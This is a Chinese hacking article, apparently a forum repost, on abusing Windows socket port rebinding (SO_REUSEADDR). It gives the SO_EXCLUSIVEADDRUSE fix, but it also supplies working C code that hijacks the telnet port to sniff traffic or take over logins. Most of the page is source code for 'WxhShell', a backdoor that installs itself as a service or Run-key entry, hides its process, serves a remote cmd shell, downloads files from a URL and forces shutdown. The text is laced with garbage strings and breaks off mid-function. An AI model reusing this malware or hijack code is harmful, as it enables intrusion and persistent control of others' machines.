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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7DIIx}A s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); de>v "R3d+p saddr.sin_family = AF_INET; =e8bNg qQ0cJIISb\ saddr.sin_addr.s_addr = htonl(INADDR_ANY); vq!_^F< 7f~Sf bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _L@2_#h! ,2j.<g&
其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5vw{b? ^|TG$`M(w 这意味着什么?意味着可以进行如下的攻击: xCYE
B}o9r $d,0=Ci 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 lhtZaU~V c wOJy> 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $*kxTiG!7 6<$Odd 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ND5`Q"k
c7M%xGrP 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 !w H'b `\m*+Bk[5 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :OW;?{ ~j Bf$_XG3
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
zcva-ze:; '&sE=. 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (XXheC P9S2?Q #include |QMhMGjV #include V=lfl1Ev0J #include *bxzCI7b #include > ]8a3x DWORD WINAPI ClientThread(LPVOID lpParam); "3<da* D1 int main() Zr-U&9.` { JR@.R
,rII WORD wVersionRequested; JXw^/Y$ DWORD ret; ~j-cS
J3 WSADATA wsaData; #Jna6 BOOL val; HmZ{L +" SOCKADDR_IN saddr; uio@r^Xz SOCKADDR_IN scaddr; KL ?@@7 int err; :Dd$i_3= SOCKET s; 5r?m&28X SOCKET sc; NuYkz"O] int caddsize; 1]}#)- HANDLE mt; Y2O"]phi@ DWORD tid; ;/0 Q1- wVersionRequested = MAKEWORD( 2, 2 ); !o>H1#2l err = WSAStartup( wVersionRequested, &wsaData ); /[9t` if ( err != 0 ) { W$'R}L printf("error!WSAStartup failed!\n"); nwN@DqO return -1; /"?HZ% W } )LdyC`S\c saddr.sin_family = AF_INET; ~`D|IWMDq Z(ZiFPx2Z //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?]rPRV VOr 1 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); PC qZNBN saddr.sin_port = htons(23); (D
9Su^:1 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @rHK(25+d { YhRWz=l printf("error!socket failed!\n"); /5#rADOS return -1; <HRBMSR+ } FVKW9"AyW val = TRUE; 8&Myva //SO_REUSEADDR选项就是可以实现端口重绑定的 &bhq`> if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) h1(j2S`: { uK'&Dam printf("error!setsockopt failed!\n"); !gLkJ) return -1; LPwT^zV&N } {>"NyY //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; n 3lE,b //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?X-)J=XG //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 kvh&d| .c#y%S if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) rS0DSGDq { VqE~c ret=GetLastError(); } %'bullT printf("error!bind failed!\n"); .^bft P\ return -1; 5qf
BEPJ } zvvP81$W listen(s,2); ;r/;m\V while(1) =E&OuX-R { E0/mSm"(T caddsize = sizeof(scaddr); Z--@.IYoJ //接受连接请求 #UtFD^h sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @VN&t:/ l if(sc!=INVALID_SOCKET) @Eb2k!T { Lw'9 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); bT6sb#"W if(mt==NULL) )XfzLF7 { NjE</Empb% printf("Thread Creat Failed!\n"); v?c 0[+? break; g}f9dB,F } {ls+dx/ } {}o>{&X CloseHandle(mt); W[[bV } Fxc)}i` closesocket(s); GdVhK:<> WSACleanup(); j,d*?'X return 0; X1tXqHJF} } t |W) DWORD WINAPI ClientThread(LPVOID lpParam) -B$~`2- { u4"SH( SOCKET ss = (SOCKET)lpParam; Uu 7dSU SOCKET sc; n}mR~YqD unsigned char buf[4096]; za'6Y*CGgX SOCKADDR_IN saddr; hCYQGx0 long num; E(Rh#+]Y5 DWORD val; =&dW(uyzY DWORD ret; 7DKz;o //如果是隐藏端口应用的话,可以在此处加一些判断 6r"u$i`o //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 :y2p@#l# saddr.sin_family = AF_INET; L&-hXGx=7 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $hR)i saddr.sin_port = htons(23); =TP(
UJ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D^U:
ih { 7B3w\ printf("error!socket failed!\n"); *[eL~oN.c return -1; ySbqnw' } W2;N<[wa<u val = 100; f&4,?E;6% if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
LzDI0a. { L5IbExjV ret = GetLastError(); <As9>5|% return -1; g`k?AM\ } a4gi,pz$] if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pbHsR^ { to"'By{9 ret = GetLastError(); QHBtWQgS return -1; 7{oe ->r } YYg) if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~Cc.cce5 { % p?brc printf("error!socket connect failed!\n"); r$wZt closesocket(sc); IgL_5A closesocket(ss); xKOq[d/8 return -1; CY?G*nS?iK } zHfP+(ah while(1) v=I|O% { R)Mt(gFZT_ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Xl |1YX1&m //如果是嗅探内容的话,可以再此处进行内容分析和记录 ExHAY|UA //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 XH7xT@ num = recv(ss,buf,4096,0); ?RFg$Z'^ if(num>0) K:y^OAZfV send(sc,buf,num,0); 7?"y{R>E else if(num==0) 3}1ssU"T break; 1on'^8]0 num = recv(sc,buf,4096,0); s|bM%!$1 if(num>0) ~F,
&GH send(ss,buf,num,0); ?v}Bd!'+P else if(num==0) '[ P}&<ie, break; P
,eH5w" } 3UUGblg`~ closesocket(ss); L3(^{W]| closesocket(sc); O(H1 P[ return 0 ; H/~?@CE(YC } mV9A{h K,xW6DiH w-N1.^ ========================================================== @LD6:gy [LM^),J? 下边附上一个代码,,WXhSHELL \'?#i@O oh#N
0
0X ========================================================== &ogt2<1W ]"fsW 9s #include "stdafx.h" &B{8uge1 |`yZIY_ #include <stdio.h> +$z]w(lb T #include <string.h> t@bt6J .{ #include <windows.h> `BZ&~vJ_ #include <winsock2.h> |I[7,`C~ #include <winsvc.h>
'3l$al:H^ #include <urlmon.h> 3mt%!}S 6\dX #pragma comment (lib, "Ws2_32.lib") Md;/nJO~{ #pragma comment (lib, "urlmon.lib") VU!w!GN]Y -[#n+`M #define MAX_USER 100 // 最大客户端连接数 ~bA,GfSn0 #define BUF_SOCK 200 // sock buffer yfjXqn[Z4 #define KEY_BUFF 255 // 输入 buffer iy5R5L2 q<=:
>? #define REBOOT 0 // 重启 Sj
3oV #define SHUTDOWN 1 // 关机 |@VF.)_ v$|mo;6 #define DEF_PORT 5000 // 监听端口 \94j rr {M~lbU #define REG_LEN 16 // 注册表键长度 V`a+Hi<P\ #define SVC_LEN 80 // NT服务名长度 2C+(":=} OjnJV // 从dll定义API R 4EEelSZu typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uf) Oy7FQ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GaNq2 G typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !DjT<dxf typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f_r0}) \x\. // wxhshell配置信息 u"VS* hSH struct WSCFG { K!8zwb=fq int ws_port; // 监听端口 Aa(<L$e!` char ws_passstr[REG_LEN]; // 口令 m24v@?* int ws_autoins; // 安装标记, 1=yes 0=no +GNWF%
zN char ws_regname[REG_LEN]; // 注册表键名 $G?(OWI}l` char ws_svcname[REG_LEN]; // 服务名 %|Hp Bs#' char ws_svcdisp[SVC_LEN]; // 服务显示名 ~\_T5/I% char ws_svcdesc[SVC_LEN]; // 服务描述信息 .{rbw9 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r:.uBc&_ int ws_downexe; // 下载执行标记, 1=yes 0=no \gKdDS char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" sB*o)8 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MR9/Y:Nm x6yW:tUG5 }; ,r+"7$ Etnb3<^[t // default Wxhshell configuration s^C;> struct WSCFG wscfg={DEF_PORT, c]m! G'L_/ "xuhuanlingzhe", F$6?t.@J 1, eO4)|tW "Wxhshell", !ng\`
|8? "Wxhshell", j]> uZalr "WxhShell Service", d?Y-;-|8Qh "Wrsky Windows CmdShell Service", B%b_/F]e "Please Input Your Password: ", fNhT;Bux
1, c;V D}UD' " http://www.wrsky.com/wxhshell.exe", P1d,8~; "Wxhshell.exe" 03E3cp" }; C!UEXj`l9 C-#.RI7 // 消息定义模块 ?eWJa char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E[S' :Q char *msg_ws_prompt="\n\r? for help\n\r#>"; @W9H9PWv& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; O3_B<Em char *msg_ws_ext="\n\rExit."; co]Gmg6p char *msg_ws_end="\n\rQuit."; Va9q`XbyO char *msg_ws_boot="\n\rReboot..."; V<0$xV1b|= char *msg_ws_poff="\n\rShutdown..."; d(l|hmj4j9 char *msg_ws_down="\n\rSave to "; ofwQ:0@ qC
j*>D char *msg_ws_err="\n\rErr!"; *wUdC char *msg_ws_ok="\n\rOK!"; @l,{x|00 q+/l"&j. char ExeFile[MAX_PATH]; |zMqJ.qu int nUser = 0; jU$Y>S>l HANDLE handles[MAX_USER]; m "]!I~jd int OsIsNt; AVpuMNd@ Ow3a0cF[9 SERVICE_STATUS serviceStatus; ,C!n}+27 SERVICE_STATUS_HANDLE hServiceStatusHandle; kMS5h~D[ 0eA5zFU7 // 函数声明 b>=7B6 Aw int Install(void); m3?e]nL4W int Uninstall(void); hAa[[%wPhU int DownloadFile(char *sURL, SOCKET wsh); 2v^lD(' int Boot(int flag); YC)hX'A\ void HideProc(void); a!u3HS-i int GetOsVer(void); R~c1)[[E int Wxhshell(SOCKET wsl); [:pl-_.C void TalkWithClient(void *cs); DcU C, int CmdShell(SOCKET sock); Q&wYc{TUbm int StartFromService(void);
^@q#$/z int StartWxhshell(LPSTR lpCmdLine); h6FgS9H :@e\'~7sH VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %c0z)R~ VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2?1}ZXr w
a.f![ // 数据结构和表定义 |uQ[W17^N SERVICE_TABLE_ENTRY DispatchTable[] = ^Jtl;Q { "`]'ZIx[R/ {wscfg.ws_svcname, NTServiceMain}, PN9^[X {NULL, NULL} <UK5eVQn }; Ld~4nc$H8 pX]21&F // 自我安装 r /yHmEk& int Install(void) >nNl^ yqW { T{;=#rG< char svExeFile[MAX_PATH]; H
/%}R HKEY key; 65"uD7; strcpy(svExeFile,ExeFile); R\ q):, {c?ymkK // 如果是win9x系统,修改注册表设为自启动 X8.y4{5 if(!OsIsNt) { d"l}Ny)C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W^|J/Y48 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #XL`S RegCloseKey(key); -#Jj-t_Fe if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]c,l5u}A$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LH.%\TMN$ RegCloseKey(key); ,Z4^'1{D return 0; .' IeHh } Q
%y,;N"ro } rBD2Si= } cl2ze else { .r*#OUC >gGil|I // 如果是NT以上系统,安装为系统服务 j #es2; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u!u5g.Q if (schSCManager!=0) _M&{^d { 2b~
HHVruX SC_HANDLE schService = CreateService L,%Z9 ( .hgH9$\ schSCManager, U[Nosh)hu\ wscfg.ws_svcname, "<T ~jk"u wscfg.ws_svcdisp, vhNohCt SERVICE_ALL_ACCESS, t}c v2S SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s!i:0} U SERVICE_AUTO_START, 2i"HqAB SERVICE_ERROR_NORMAL, %U:C| svExeFile, |87W* NULL, ,aYU$~o# NULL, 0ZT 0 NULL, *CT.G'bQX NULL, Bj+wayMi NULL PgTDjEo ); ktWZBQY if (schService!=0) PMsC*U,oe { "bi != CloseServiceHandle(schService); :Ip~)n9t CloseServiceHandle(schSCManager); b+_hI)T strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LAos0bc)w\ strcat(svExeFile,wscfg.ws_svcname); z2ds8-z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pbFYiu+ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e-jw^
RegCloseKey(key); " C&x,Ic return 0; IF^[^^v+H } xLZMpP5c } @,GjeF]! CloseServiceHandle(schSCManager); .2/,XwIr } !2wETs? } VZIKjrKs uGM>C" return 1; K^8@'#S } E"ZEo9y@^ `fLfT' // 自我卸载 S>(z\`1qm int Uninstall(void) -S7RRh'p { ` -yhl3si HKEY key; cJ2y)` c'xUJhEL if(!OsIsNt) { QW,cn7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >b3@>W RegDeleteValue(key,wscfg.ws_regname); VmMh+)UZ RegCloseKey(key); htQ;m)>J: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =P)"NP7f' RegDeleteValue(key,wscfg.ws_regname); ]|t9B/()i RegCloseKey(key); /^~p~HKtx return 0; -S`TEX
} E}Ljo } *-{Omqw } B U'Ki \ else { f<^ScFVR #0jSZ g^," SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M&eQ=vew. if (schSCManager!=0) *1i?6$[
" { +J%6bn)U SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W3"vTZJF if (schService!=0) k"0%' Y { ]}_p3W "Y9 if(DeleteService(schService)!=0) { @h!U CloseServiceHandle(schService); cxL,]27Bu CloseServiceHandle(schSCManager); ]X/O IfdWe return 0; vi^z5n } >'ie!VW@ CloseServiceHandle(schService); f(^33k } N&x@_t"" CloseServiceHandle(schSCManager); PnI)n=(\ } zI1(F67d` } G,+xT}@wu +}&pVe\t return 1; t;h+Cf4 } m=#aHF ?`za-+<r< // 从指定url下载文件 ZDW,7b%U int DownloadFile(char *sURL, SOCKET wsh) )hePN4edj { }<E sS HRESULT hr; [5x+aW%ql char seps[]= "/"; ZCj>MA char *token; *oKgP8CF char *file; IvPA|8( char myURL[MAX_PATH]; B8`R(vu; char myFILE[MAX_PATH]; @ysJt ;|Y2r^c strcpy(myURL,sURL); 22l|!B%o token=strtok(myURL,seps); 2=i+L z^ while(token!=NULL) jn0t-": { |G[{{qZM5 file=token; pHq{S;R2G token=strtok(NULL,seps); YhEiN. ~ } =c
:lS&B >ly&+3S GetCurrentDirectory(MAX_PATH,myFILE); !a.3OpQ strcat(myFILE, "\\"); W ]a7&S strcat(myFILE, file); FRb&@(; send(wsh,myFILE,strlen(myFILE),0); mMel,iK= send(wsh,"...",3,0); $_4oN(WSz hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jI@bTS o if(hr==S_OK) 40`9t Xn return 0; l=Vowx.$2f else nC-c8y return 1; dY/|/eOt<K %iHyt,0v2 } [GcA.ABz A}az
m> // 系统电源模块 }Z~pfm_S int Boot(int flag) 8Sd?b5|G~ { " 8~f HANDLE hToken; V#n?&-{V TOKEN_PRIVILEGES tkp; 1^n5CI|7u iKP\/LR<n if(OsIsNt) { pZni,<Q OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AJJ%gxqGq LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >FK)p
tkp.PrivilegeCount = 1; ,Y78Q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w*|= k~z AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Sn{aHH if(flag==REBOOT) { Gnuo-8lb if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u *#-7 return 0; GQEI f$ } A>rW Go.{E else { EZgxSQaPH if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Pf^Ly97 return 0; O=4ceEmz } "<g?x`iz } -f-O2G= else { t-?KKU8 if(flag==REBOOT) { uIVTs9\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *!wO:<- return 0; N]O{T_5-0 } GN~[xXJU else { 0jip::x if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q"l"p:n%n return 0; I_jM-/3b } mmpr]cT@'k } hIE%-gZ/ \N-|
iq return 1; ZC9.R$}Kl } Tye$na&$} 4{Yy05PFS // win9x进程隐藏模块 Y ;~~?[6 void HideProc(void) P!>{>r4 { I8pv:>EhC .f?qUg HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L*SSv
wSL if ( hKernel != NULL ) vUodp#s { O9Jx%tolF% pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YokZar2a0 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x):k#cu[L FreeLibrary(hKernel); 76u/WC>B } Bsih<`KF^ S1x.pLHj8 return; *'AS^2' } ]iE.fQ?;J {m*V/tX // 获取操作系统版本 :!Y?j{sGU int GetOsVer(void) 5pKvNLy.t { Tvksf!ba OSVERSIONINFO winfo; pJ)+}vascR winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]Lb?#S GetVersionEx(&winfo); eD`
, if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f2SU5e2 return 1; %FR^[H] else XeIUdg4>R return 0; h.}t${1ZC } 6Mf3)o2 fa*H cz // 客户端句柄模块 ,:dEEL+>c int Wxhshell(SOCKET wsl) 9 z8<[> { i?i7T` SOCKET wsh; iz%A0Z+`bg struct sockaddr_in client; Vm,f3~ DWORD myID; 3Q!J9t5dc w$U/;C while(nUser<MAX_USER) Aa\=7 { $<>EwW int nSize=sizeof(client); bVAgul=__ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %t5BB$y if(wsh==INVALID_SOCKET) return 1; bCaPJ!ZO 4HJZ^bq9| handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +DbWMm if(handles[nUser]==0) "o5gQTwb closesocket(wsh); 33,JUQ2u else 9,EaN{GM nUser++; vxilQp } L->f=
8L WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6E\\`FE4y _c(C;s3o return 0; N|Cy!E=d } #@\NdW\ afP&+ 5t@O // 关闭 socket UmD-7Fd void CloseIt(SOCKET wsh) |q.:hWYFpM { 2dd:5L, closesocket(wsh); Jn
<^Q7N nUser--; 7)(`
ExitThread(0); V^$rH< } @BHS5^|
Sfoy8<j // 客户端请求句柄 rM
>V=|9, void TalkWithClient(void *cs) F#}1{$)%
/ { N;`[R>Z~ K9qEi{[ SOCKET wsh=(SOCKET)cs; Ignv|TYG char pwd[SVC_LEN]; Vw;ldEdx char cmd[KEY_BUFF]; V.gY1
char chr[1];
\#+2;L int i,j; >*t>U8 <K=B(-~ while (nUser < MAX_USER) { /@nRL 3!oQmG_T if(wscfg.ws_passstr) { ^tKOxW#
a if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8$<AxNR
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @gqs4cg{f //ZeroMemory(pwd,KEY_BUFF); )D@n?qbG i=0; `F+x]<m! while(i<SVC_LEN) { *A1TDc$ }jY[| >z // 设置超时 cVHE}0Xd( fd_set FdRead; %}ApO{ struct timeval TimeOut; EAd:`X,Y FD_ZERO(&FdRead); =Z>V}`n FD_SET(wsh,&FdRead); -ynLuq#1A TimeOut.tv_sec=8; S_ -QvG2 TimeOut.tv_usec=0; };|PFWs int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5 *pN<S if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ks#Z~6+3 /jn3'q_, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4@mXtA pwd =chr[0]; }
@fu~V/ if(chr[0]==0xd || chr[0]==0xa) { t-4R7`A< pwd=0; JJHvj=9'o break; %Rsf6rJ } =Wy`X0h i++; !
7*_Z= } `i)ePiE ~q T1<k // 如果是非法用户,关闭 socket yDyeP{ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lQ<n
dt~ } zI:5I @ X d,rEEc Y send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *JC{G^|Y send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C.B}Py+
F%+rOT<5 while(1) { 6[|< ,8o*!(uO2 ZeroMemory(cmd,KEY_BUFF); :6k DUFj} u r.T YKF // 自动支持客户端 telnet标准 y"
6~9j j=0; ;1g-z] while(j<KEY_BUFF) { g&F<Uv#mZ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A{Htpm ~ cmd[j]=chr[0]; )>M@hIV5> if(chr[0]==0xa || chr[0]==0xd) { '-]BSU cmd[j]=0; (DMnwqr break; hUhp2ibEs } j% USu+& j++; 8(/f!~ } P ~
pbx 07"Oj9NlA // 下载文件 W]}V<S$ if(strstr(cmd,"http://")) { ;ld~21#m send(wsh,msg_ws_down,strlen(msg_ws_down),0); :+^$?[6] if(DownloadFile(cmd,wsh)) `L*;58MA send(wsh,msg_ws_err,strlen(msg_ws_err),0); !@Vp Bl else -zLI!F 0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~5!TV,>ls } f<sPh>n
else { d<'Yt|zt @gjdyz switch(cmd[0]) { @bCiaBdi 8Pdnw/W // 帮助 rHBjR_L.2 case '?': { 2T%f~yQ^ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^?]H$e break; LP-Q'vb<= } z(X6%p0 // 安装 j"sO<Q{6% case 'i': { Y9L6W+=T if(Install()) N_k6UA9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); UR2)e{RXg else A^@ <+? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L.:QI<n break; _%TeTNY# } EEZ2Gu6c // 卸载 7c]Ai case 'r': { U@5Z9/n{ if(Uninstall()) UYrzsUjg& send(wsh,msg_ws_err,strlen(msg_ws_err),0);
yi;t else &FF. Ddt{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >@Vr'kg+V break; [=F
|^KL } Jo$Dxa
z // 显示 wxhshell 所在路径 ;/q6^Nk3A case 'p': { vl~ char svExeFile[MAX_PATH]; `srZ#F5 strcpy(svExeFile,"\n\r"); fO(S+} strcat(svExeFile,ExeFile); <slq1 send(wsh,svExeFile,strlen(svExeFile),0); Tn-]0hWkP break; ]]o[fqD-Zn } P2JRsZ. // 重启 j4r,_lH^r case 'b': { -86:PL(I" send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FF!g9> if(Boot(REBOOT)) qML*Kwg send(wsh,msg_ws_err,strlen(msg_ws_err),0); .%Q Ea_\ else { ,4W((OQ^ closesocket(wsh); $[CA#AXE ExitThread(0); aB!Am +g } Z|S7", break; 32P ]0&_O } &*GX:0=/> // 关机 5w{pX1z1 case 'd': { A;x^6> send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oz-I/g3go if(Boot(SHUTDOWN)) :=eUNH send(wsh,msg_ws_err,strlen(msg_ws_err),0); X
hX'*{3k else { kK|+W, closesocket(wsh); !*UdY( ExitThread(0); yP4.Z9 } \U>Kn_7m break; "q/M8 } AV3,4u // 获取shell :Ia&,;Gc case 's': { =T}uQ$X CmdShell(wsh); J4 #]8!A closesocket(wsh); xumv I{ ExitThread(0); }3y\cv0ct break; 4yv31QG$ } RcP5].^T // 退出 iZ\z!tH R case 'x': { -JK4-Hg send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S]=Vr%irX CloseIt(wsh); F]#fl% break; gSYX @'Q! } h18y?e7MU // 离开 U/o}{,$A case 'q': { Nb/%>3O@ send(wsh,msg_ws_end,strlen(msg_ws_end),0); fEv36xb2S closesocket(wsh); :ygz/L WSACleanup(); !T. @ exit(1); _ u2 break; S]/+n> } D07u? } *S_Iza #&x } y<d#sv(s KZfRiCZ // 提示信息 0*x? if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7b2<,
.E } `_^=OOn
} Fsj[J E dwMwd@*j return; x's-UO"^ } UdJV;T'rm |h/2'zd^- // shell模块句柄 ,0~TvJS int CmdShell(SOCKET sock) SH|$Dg { /z:K# STARTUPINFO si; kq0m^` ZeroMemory(&si,sizeof(si)); %WN2 xCSf si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hj,x~^cS si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K*FAngIB PROCESS_INFORMATION ProcessInfo; e*s{/a?, char cmdline[]="cmd"; BG=_i#V CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >K%x44| return 0; &[5az/Hj* } c.v)M\: K_n%`5 // 自身启动模式 EPy/6-5b int StartFromService(void) B4aZ3.&W { !F)oX7" typedef struct lej{VcG { hhhO+D1( DWORD ExitStatus; qr6jn14.c DWORD PebBaseAddress; 54w-yY DWORD AffinityMask; _yUFe& DWORD BasePriority; 90}B*3x ULONG UniqueProcessId; g"Bv!9*H ULONG InheritedFromUniqueProcessId; :6V8 } PROCESS_BASIC_INFORMATION; 1[^d8!U 9l]IE,u PROCNTQSIP NtQueryInformationProcess; sN2l[Ous D9en static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jq{Ix static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [dMxr9M BYU.ptiJJ HANDLE hProcess; |=s3a5sl PROCESS_BASIC_INFORMATION pbi; sSUd;BYf )3sb2
